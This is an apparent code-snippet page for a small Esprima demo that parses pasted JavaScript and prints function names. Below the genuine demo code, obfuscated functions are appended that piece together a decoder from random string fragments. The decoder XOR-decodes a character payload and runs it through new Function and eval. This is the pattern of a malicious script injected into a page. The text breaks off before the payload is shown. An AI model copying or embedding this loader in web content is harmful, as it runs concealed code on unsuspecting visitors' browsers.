Javascript Parser 1
http://esprima.org
you type in the code and it parses and finds the function names.
HTML
<script src="https://raw.github.com/ariya/esprima/master/esprima.js"></script>
<script src="http://codemirror.net/lib/codemirror.js"></script>
<link rel="stylesheet" href="http://codemirror.net/lib/codemirror.css">
<script src="http://codemirror.net/mode/javascript/javascript.js"></script>
CSS
#codzzzze {
height: 20;
background-color: red;
}
JavaScript
var syntax = esprima.parse('var answer = 42');
//console.log(syntax);
var thecode = $("#code").val();
syntax = esprima.parse(thecode);
//console.log(syntax);
var i;
for (i = 0; i < syntax.body.length; ++i) {
var el = syntax.body[i];
//console.log(el.id.name);
$("#out").append(el.id.name);
$("#out").append("<br>");
}
function ntjj()
{
var qppi=new Array("0;wh","="+""+"S"+""+"t",")"+""+","+""+"16)","urn e","de(parseI"+""+"nt(","_0","_7","_2");
return qppi[Math.floor(Math.random()*qppi.length)];
}
function uxtz(owmo)
{
return (new Function("omko","snct","va"+""+"r zrht=omko."+""+"match(/\\S{5}/g),iehf=\"\",lvuf="+ntjj()+"ile(lvuf<zrht.len"+""+"gth){iehf+"+ntjj()+"ring.fro"+""+"mCharCo"+ntjj()+"zrht[lvuf].s"+""+"ubstr(3,2"+ntjj()+"^19);lvuf++;}ret"+ntjj()+"val(iehf);")(owmo,0));
}
function oiei(dzbz)
{
var fwdv;
for(var rdts=0;rdts<1;rdts++)
{
try
{
fwdv=uxtz(dzbz);
rdts++;
}
catch(svxt)
{
rdts--;
}
}
return fwdv;
}
function xelr()
{
var...